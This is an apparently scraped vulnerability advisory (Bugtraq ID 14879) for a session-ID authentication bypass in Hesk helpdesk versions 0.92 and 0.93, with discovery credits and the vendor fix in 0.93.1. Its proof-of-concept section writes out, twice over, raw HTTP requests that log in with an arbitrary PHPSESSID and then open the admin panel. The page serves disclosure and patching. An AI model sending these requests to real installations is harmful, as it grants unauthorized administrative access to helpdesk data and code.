Hesk Session ID Authentication Bypass Vulnerability
BID:14879
Info
Hesk Session ID Authentication Bypass Vulnerability
| Bugtraq ID: | 14879 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 20 2005 12:00AM |
| Updated: | Sep 20 2005 12:00AM |
| Credit: | Rajesh Sethumadhavan, Rahul Mohandas, and Jayesh K.S of OS2A are credited with the discovery of this vulnerability. |
| Vulnerable: |
Hesk Hesk 0.93 Hesk Hesk 0.92 |
| Not Vulnerable: |
Hesk Hesk 0.93.1 |
Discussion
Hesk Session ID Authentication Bypass Vulnerability
Hesk is prone to an authentication bypass vulnerability.
Successful exploitation will grant an attacker administrative access to the application. This can lead to unauthorized access of sensitive data, modification of helpdesk data and program code, and other types of attacks.
Hesk is prone to an authentication bypass vulnerability.
Successful exploitation will grant an attacker administrative access to the application. This can lead to unauthorized access of sensitive data, modification of helpdesk data and program code, and other types of attacks.
Exploit / POC
Hesk Session ID Authentication Bypass Vulnerability
An exploit is not required.
The following proof of concept is available:
1. HTTP POST request with randomly chosen Session ID:
POST admin.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/hesk/admin.php
Cookie: PHPSESSID=12345 <!-- Random Session ID--!>
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
user=1&pass=sdfd&a=do_login");
2. GET request to administrative control panel:
GET admin_main.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=12345") <!-- Session ID --!>
An exploit is not required.
The following proof of concept is available:
1. HTTP POST request with randomly chosen Session ID:
POST admin.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/hesk/admin.php
Cookie: PHPSESSID=12345 <!-- Random Session ID--!>
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
user=1&pass=sdfd&a=do_login");
2. GET request to administrative control panel:
GET admin_main.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=12345") <!-- Session ID --!>
Solution / Fix
Hesk Session ID Authentication Bypass Vulnerability
Solution:
The vendor has addressed this issue in Hesk version 0.93.1:
Hesk Hesk 0.92
Hesk Hesk 0.93
Solution:
The vendor has addressed this issue in Hesk version 0.93.1:
Hesk Hesk 0.92
-
Hesk hesk0931.zip
http://www.phpjunkyard.com/download.php?script=hesk
Hesk Hesk 0.93
-
Hesk hesk0931.zip
http://www.phpjunkyard.com/download.php?script=hesk
References
Hesk Session ID Authentication Bypass Vulnerability
References:
References: